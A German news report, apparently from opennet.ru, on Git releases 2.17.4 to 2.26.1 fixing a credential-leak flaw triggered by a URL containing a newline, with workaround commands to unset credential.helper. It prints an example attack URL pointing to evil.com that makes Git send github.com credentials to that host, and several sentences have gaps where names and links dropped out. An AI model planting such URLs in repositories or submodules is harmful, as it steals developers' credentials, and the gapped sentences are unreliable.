Korrekturversionen des verteilten Quelltextverwaltungsystems Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 und 2.17.4, in denen behoben wurde () im Handler „“, das dazu führt, dass Anmeldedaten nicht an den richtigen Host gesendet werden, wenn der Git-Client auf ein Repository über eine speziell formatierte URL zugreift, die ein Zeilenumbruchzeichen enthält. Diese Schwachstelle kann ausgenutzt werden, um Anmeldedaten von einem anderen Host an einen Server zu senden, der vom Angreifer kontrolliert wird.
Bei der Angabe einer URL wie „https://evil.com?host=github.com/“ überträgt der Anmeldeverwalter beim Verbinden mit dem Host evil.com die Authentifizierungsparameter, die für github.com festgelegt wurden. Das Problem tritt bei Vorgängen wie „git clone“ auf, einschließlich der Verarbeitung von URLs für Submodule (z.B. bei der Ausführung von „git submodule update“ werden automatisch die in der Datei .gitmodules des Repositories festgelegten URLs verarbeitet). Die Schwachstelle stellt eine besondere Gefahr dar, wenn ein Entwickler ein Repository klont, ohne die URL zu sehen, etwa beim Arbeiten mit Submodulen oder in Systemen, die automatisierte Aktionen durchführen, wie z.B. in Paket-Build-Skripten.
Um die Schwachstelle in neuen Versionen zu blockieren sollte das Übertragen des Zeilenumbruchzeichens in beliebigen Werten, die über das Authentifizierungsprotokoll übertragen werden, unterbunden werden. Um sicherzustellen, dass die Pakete aktualisiert werden, können Distributionen die Seiten verfolgen , , , , , , .
Als Umgehungslösung zur Blockierung des Problems Vermeiden Sie die Verwendung von credential.helper beim Zugriff auf öffentliche Repositories und wenden Sie «git clone» im «—recurse-submodules»-Modus nicht auf nicht verifiziertes Repository an. Um credential.helper vollständig zu deaktivieren, das das und Abrufen von Passwörtern aus , geschützt durch oder eine Passwortdatei, können folgende Befehle verwendet werden:
git config —unset credential.helper
git config —global —unset credential.helper
git config —system —unset credential.helper
Quelle: opennet.ru
